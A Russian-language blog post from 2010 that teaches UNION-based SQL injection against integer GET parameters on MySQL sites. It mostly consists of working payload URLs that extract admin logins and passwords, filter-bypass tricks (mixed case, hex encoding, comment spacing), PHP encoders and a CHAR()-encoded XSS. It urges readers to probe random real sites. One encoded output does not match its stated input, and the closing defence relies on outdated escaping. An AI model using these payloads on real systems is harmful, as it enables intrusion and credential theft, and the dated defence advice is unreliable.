Внезапно написал статью про sql-инъекции. О сео писать нечего, да и не хочется.
Казалось бы, 2010 год на дворе, но многие программисты до сих пор не научились защищать свои веб-приложения. Наверное, чтобы научиться хорошо защищать свои сайты, нужно хоть раз побыть в шкуре хакера. В этой статейке я расскажу об sql-инъекции через GET-запросы на сайтах, на которых используется MySQL. Конкретнее об уязвимостях в полях типа «integer».
Рассмотрим такой код:
SELECT id,title, date, text FROM articles WHERE id = $inj AND date > 0;
$inj вроде бы «фильтруется» с помощью addslashes или mysql_escape_string, но фильтруется неправильно. В конце статьи я, конечно же, расскажу, как правильно фильтровать такие поля.
Итак, как найти такую уязвимость?
Заходим на какой-либо рандомный сайт, и видим в адресной строке, к примеру, http://example.com/articles.php?id=1 SQL-Запрос для выбора указанной статьи мы видим выше.
Вместо единицы мы и будем подставлять нашу инъекцию, но сначала нужно проверить, работает ли она.
http://example.com/articles.php?id=1+AND+1=2‑‑
http://example.com/articles.php?id=1+OR+1=1‑‑
Чтобы нам не мешали лишние условия, которые задаются после id, добавляем два минуса на конце, чтобы mysql игнорировал всё, что идёт после них.
Запросы с подстановкой этих простейших инъекций будут выглядеть так:
SELECT id,title, date, text FROM articles WHERE id = 1 AND 1=2‑‑ AND date > 0;
SELECT id,title, date,text FROM articles WHERE id = 1 OR 1=1‑‑ AND date > 0;
Если в первом случае статья не выводится, но выводится 1 или более статей во втором, то скорее всего мы обнаружили уязвимость. (в обоих случаях часть «‑‑ AND date > 0;» не учитывается)
Что делать дальше?
Теперь, можно составлять наши коварные запросы. Будем мы пользоваться для них такой удобной конструкцией как UNION.
Допустим, мы знаем, что на сервере есть таблица users с колонками id, login, pass
Нам нужно составить запрос, чтобы вытащить логин и пароль самого первого пользователя (зачастую админа). Но сначала нам нужно узнать количество полей, которые запрашиваются и выводятся на страницу. Для этого считаем вот таким образом, пока не прекратятся ошибки:
http://example.com/articles.php?id=1+UNION+SELECT+1‑‑
http://example.com/articles.php?id=1+UNION+SELECT+1,2‑‑
…
http://example.com/articles.php?id=1+UNION+SELECT+1,2,3,4‑‑
Т.к. у нас выбирается 4 поля, ошибки прекращаются, и где-нибудь на странице мы увидим вытащенную из базы цифру 1, 2, 3 или 4. Например, мы увидели 2 в заголовке.
Зная количество полей и поля, которые выводятся, строим наш конечный запрос:
http://example.com/articles.php?id=1+UNION+SELECT+1,CONCAT(login, 0, pass),3,4+FROM+users+WHERE+id=1‑‑
И с радостью видим на месте заголовка строку вида:
admin0qwerty
MySQL-функция CONCAT объединяет строки, а 0 в данном случае разделитель, т.е. логин – admin, пароль qwerty.
Заметьте, это всё без единой кавычки!
Сложности и подводные камни.
Фильтры.
Попадаются «хитрые» быдлокодеры программисты, которые думают, что код вида
if(strpos(‘select’, $query) === false) их спасёт. Такие вещи обходятся МоЛоДёЖнЫм НаПиСаНиЕм. http://example.com/articles.php?id=1+uNiOn+SeLeCt+1,CONCAT(login,0,pass),3,4‑‑
Есть те, кто догадываются фильтровать ключевые слова MySQL регистро-независимо. Зачастую помогает urlencode каждого символа в его %hex значение.
Простейшая функция на php решает это:
function my_urlencode($str)
{
$encoded = »;
for($i = 0; $i < strlen($str); ++$i){
$encoded .= ‘%’.dechex(ord($str{$i}));
/*Для каждого символа берётся его ASCII-код и преобразовывается в hex */
}
return $encoded;
}
Запускаем echo my_urlencode(‘union select’); и на выходе получаем закодированную строку %75%6e%69%6f%6e%20%73%65%6c%65%63%74 .
Запрос теперь:
http://example.com/articles.php?id=1+%75%6e%69%6f%6e%20%73%65%6c%65%63%74+1,CONCAT(login, 0, pass),3,4‑‑
Если фильтруются пробелы, то их можно заменить пустыми комментариями /**/ или скобочными выражениями (UNION(SELECT(1)))‑‑ и т. п.
Не выводятся поля.
Ищем в интернете статьи про Blind SQL Injection
Неизвестны другие таблицы и колонки в них.
Начинаем перебирать user, users, profiles, и т. д. Можно также поискать программы вроде Pangolin, которые эти вещи делают автоматически.
И немного про SQL XSS.
А вы думали в данном случае невозможно? В MySQL ведь есть замечательная функция CHAR(), да и мы сейчас кое-что напишем.
function my_mysql_chars($str)
{
$chars = »;
for($i = 0; $i < strlen($str); ++$i){
$chars .= ‘char(‘.ord($str{$i}).’),’;
/*Для каждого символа берётся его ASCII-код и записывается по типу char(20),char(80), и т. д. */
}
return $chars;
}
Вызов echo my_mysql_chars(‘<script>alert(/sql_xss!/)</script>’); выдаст нам строку вида char(60),char(104),char(49),char(62),char(115),char(117),char(112),char(32),char(47),char(98),char(47),char(60),char(47),char(104),char(49),char(62),
Подставляем её в запрос:
http://example.com/articles.php?id=1+%75%6e%69%6f%6e%20%73%65%6c%65%63%74+1,CONCAT(char(60),char(104),char(49),char(62),char(115),char(117),char(112),char(32),char(47),char(98),char(47),char(60),char(47),char(104),char(49),char(62)),3,4‑‑
И радуемся ещё и полученному XSS на сайте.
И ни одной кавычки.
Как защититься?
Что не удивительно, защититься проще, чем эксплуатировать эту уязвимость.
Все integer поля в MySQL берём в кавычки и используем обычный mysql_escape_string.
Правильно делать, например, так:
$no_inj = mysql_escape_string($_GET[‘id’]);
mysql_query(“SELECT id, title, date, text FROM articles WHERE id = ‘$no_inj’ AND date > 0;”);
Если же у вас кавычкофобия или мания прописывать int-поля в запросах без кавычек, то убедитесь, что каждое такое поле фильтруется через intval.
Например,
$no_inj = intval($_GET[‘id’]);
mysql_query(“SELECT id,title, date, text FROM articles WHERE id = $no_inj AND date > 0;”);
Вот и вся фильтрация int-полей, и не надо изобретать никакие безумные фильтры, которые, во-первых, неэффективны, во-вторых, тормозят работу сайта.